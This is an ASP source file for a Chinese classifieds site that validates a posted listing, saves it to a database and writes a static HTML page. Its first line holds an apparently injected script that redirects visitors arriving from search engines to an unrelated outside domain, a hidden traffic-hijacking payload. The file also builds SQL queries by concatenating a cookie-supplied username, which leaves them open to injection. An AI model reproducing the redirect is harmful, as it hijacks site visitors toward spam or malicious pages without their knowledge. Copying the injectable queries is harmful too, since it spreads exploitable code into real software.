d:\wwwroot\wuchunhua\post_check.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc/conn.asp"-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/function.asp"-->
004: <!--#include file="inc/sip.asp"-->
005: <%
006: if session("kqiqiinfomation")<>"" then
007: if DateDiff("s",session("kqiqiinfomation"),Now())<30 then
008: Response.Write "<script language='javascript'>alert('对不起!你发信息太快了,请等待30秒钟后再发!');history.back();</script>"
009: response.end
010: end if
011: end if
012: username=request.cookies("kqiqi")("username")
013: function fsow(filename)
014: set mfo=Server.CreateObject("Scripting.FileSystemObject")
015: set rtf=mfo.OpenTextFile(server.mappath(filename),1)
016: body=rtf.readall
017: fsow=body
018: end function
019: %
>
020: <%if request("kqiqi") = "add" then
021: biaoti=HtmlEncode(request.form("biaoti"))
022: delpass=HtmlEncode(request.form("delpass"))
023: class1=Strint(request.form("class1"))
024: class2=Strint(request.form("class2"))
025: diqu=HtmlEncode(request.form("diqu"))
026: leixing=HtmlEncode(request.form("leixing"))
027: memo=HtmlEncodes(request.form("memo"))
028: 'memo=replace(replace(memo1,chr(13),"<br>"),"   ","&nbsp;")
029: tupian=HtmlEncode(request.form("tupian"))
030: if right(tupian,4)=".gif" or right(tupian,4)=".bmp" or right(tupian,4)=".jpg" or right(tupian,5)=".jpeg" or tupian="" then
031: else
032: Response.Write "<script language='javascript'>alert('请正确填写图片地址!');history.back();</script>"
033: response.end
034: end if
035: if memo="" then
036: response.write"<script language=JavaScript>" & chr(13) & "alert('内容不能为空!');" & "history.back()" & "</script>"
037: response.end
038: end if
039:
040: 'kqiqi_checkcode=CStr(session("GetCode"))
041: 'session("GetCode")=""
042: 'if kqiqi_checkcode<>CStr(request("kqiqi_checkcode"))  then
043: 'Response.write"<script>alert(""验证码不正确,请刷新后重写!  "");history.back();</script>"
044: 'Response.end
045: 'end if
046:
047: Dim kqiqi_checkcode,GetCode
048:    kqiqi_checkcode=Strint(Request("kqiqi_checkcode"))
049:    GetCode=Strint(Session("GetCode"))
050:    Session("GetCode")=""
051:    If kqiqi_checkcode<>GetCode Or GetCode=0 Then
052:       Response.Write"<script>alert('验证码错误,请刷新后重填!');history.go(-1)</script>"
053:       Response.End()
054:    End If
055:
056: if username<>"" then
057: set rs=server.createobject("adodb.recordset")
058: if request("comper")="com" then
059: sql = "select * from [kqiqi_shop] where username='"&username&"'"
060: else
061: sql = "select * from [user] where username='"&username&"'"
062: end if
063: rs.open sql,conn,1,3
064: rs("jf")=rs("jf")+3
065: if request("hb")>=1 and rs("hb")>=1 then
066: rs("hb")=rs("hb")-int(request("hb"))
067: end if
068:
069: rs.update
070: rs.close
071: set rs=nothing
072: end if
073:
074: name=HtmlEncode(request.form("name"))
075: dianhua=HtmlEncode(request.form("dianhua"))
076: email=HtmlEncode(request.form("email"))
077: qq=HtmlEncode(request.form("qq"))
078: dizhi=HtmlEncode(request.form("dizhi"))
079: 'fbsj=date()
080: fbsj=now()
081: sdays=request.form("days")
082:
083: set rs=Server.createObject("adodb.recordset")
084: strsql="select * from kqiqi_info"
085: rs.open strsql,conn,3,3
086: rs.addnew
087: rs("biaoti")=biaoti
088: rs("delpass")=delpass
089: rs("class1")=class1
090: rs("class2")=class2
091: rs("diqu")=diqu
092: rs("leixing")=leixing
093: rs("memo")=memo
094: rs("fbsj")=fbsj
095: 'rs("xurl")=filename2
096: rs("tupian")=tupian
097: rs("name")=name
098: rs("dianhua")=dianhua
099: rs("email")=email
100: rs("qq")=qq
101: rs("dizhi")=dizhi
102: if username<>"" then
103: rs("username")=username
104: tuijian=request.form("tui")
105: sj=request.form("sj")
106: a=request.form("hb")
107: rs("tuijian")=tuijian
108: rs("sj")=sj
109: rs("a")=a
110: 'if request.cookies("kqiqi")("com")<>"" then
111: 'Conn.Execute("Update com Set hb="&rs("hb")&"-a where username='"&username&"'")
112: 'else
113: 'Conn.Execute("Update user Set hb="&rs("hb")&"-a where username="&username&"")
114: 'end if
115: end if
116: rs("yz")=guan
117: rs("dqsj")= dateadd("d", sdays, now)
118: userip=Request.ServerVariables("HTTP_X_FORWARDED_FOR")
119: If userip="" Then
120: userip=Request.ServerVariables("REMOTE_ADDR")
121: end if
122: rs("ip")=userip
123: rs.update
124: 'id=rs("id")
125: 'rs.update
126: session("kqiqiinfomation")=now()
127: rs.close
128: set rs=nothing
129: set rs=Server.createObject("adodb.recordset")
130: strsql="select top 1 id from kqiqi_info order by id desc"
131: rs.open strsql,conn,1,1
132: id=rs("id")
133: rs.close
134: set rs=nothing
135: dim dtime,filename1
136: dtime=now()
137: 'filename1=month(now)&day(now)&hour(now)&minute(now)&second(now)& ".html"
138: 'filename1=id&".html"
139: filename1=year(now)&month(now)&day(now)&""&id&".html"
140: 'filename1="kqiqicms"&""&id&".html"
141: filename2="categories/"&filename1
142: file1=server.mappath( "/categories" )
143: file2=file1&"\"&filename1
144: okfile=fsow("inc/categories_mb.html")
145: Conn.Execute("Update kqiqi_info Set xurl='"&filename2&"' where id="&id&"")
146:
147: set rc=Server.createObject("adodb.recordset")
148: sql="select * from class1 where id ="&class1&""
149: rc.open sql,conn,1,1
150: dim cla1
151: cla1=rc("class1")
152: rc.close
153: set rc=Server.createObject("adodb.recordset")
154: sql="select * from class2 where id ="&class2&" "
155: rc.open sql,conn,1,1
156: dim cla2
157: cla2=rc("class2")
158: rc.close
159:
160: set rc=Server.createObject("adodb.recordset")
161: sql="select * from kqiqi_info where xurl = '"&filename2&"'"
162: rc.open sql,conn,3,3
163: x_id = rc("id")
164:
165: okfile = replace(okfile,"X_ID",x_id)
166: okfile = replace(okfile,"City",city)
167: okfile = replace(okfile,"Class1",cla1)
168: okfile = replace(okfile,"C1url",class1)
169: okfile = replace(okfile,"Class2",cla2)
170: okfile = replace(okfile,"C2url",class2)
171: okfile = replace(okfile,"Diqu",diqu)
172: okfile = replace(okfile,"Leixing",leixing)
173: okfile = replace(okfile,"Biaoti",biaoti)
174: okfile = replace(okfile,"Memo",memo)
175: okfile = replace(okfile,"Adclass1",adclass1)
176: if tupian<>"" and tupian<>"0" then
177: if left(tupian,4)="http" then
178: okfile = replace(okfile,"Tupian",""&tupian&"")
179: okfile = replace(okfile,"TUurl",""&tupian&"")
180: else
181: okfile = replace(okfile,"Tupian","/"&tupian&"")
182: okfile = replace(okfile,"TUurl","/"&tupian&"")
183: end if
184: else
185: okfile = replace(okfile,"Tupian",ad11(0))
186: okfile = replace(okfile,"TUurl",ad11(1))
187: end if
188: okfile = replace(okfile,"Fbsj",fbsj)
189: okfile = replace(okfile,"Diqu",diqu)
190: okfile = replace(okfile,"Name",name)
191: okfile = replace(okfile,"Dianhua",dianhua)
192: if qq<>"" then
193: okfile = replace(okfile,"Qq",qq)
194: else
195: okfile  =  replace(okfile,"Qq","这家伙很懒,没留下QQ。")
196: end if
197: if dizhi<>"" then
198: okfile = replace(okfile,"Dizhi",dizhi)
199: else
200: okfile = replace(okfile,"Dizhi","这家伙很懒,没留下联系地址。")
201: end if
202: if email<>"" then
203: okfile = replace(okfile,"Email",email)
204: else
205: okfile  =  replace(okfile,"Email","这家伙很懒,没留下邮箱。")
206: end if
207: okfile = replace(okfile,"Userip",userip)
208: okfile = replace(okfile,"Title",title)
209: okfile = replace(okfile,"Web",web)
210: okfile = replace(okfile,"Coryright",coryright)
211:
212: Set fso = Server.CreateObject("Scripting.FileSystemObject")
213: Set fout = fso.Createtextfile(file2,true)
214: fout.writeline okfile
215: fout.close
216: response.write "<meta http-equiv=refresh content=""1;URL=postok.html"">"
217: end if%
>
218:
219: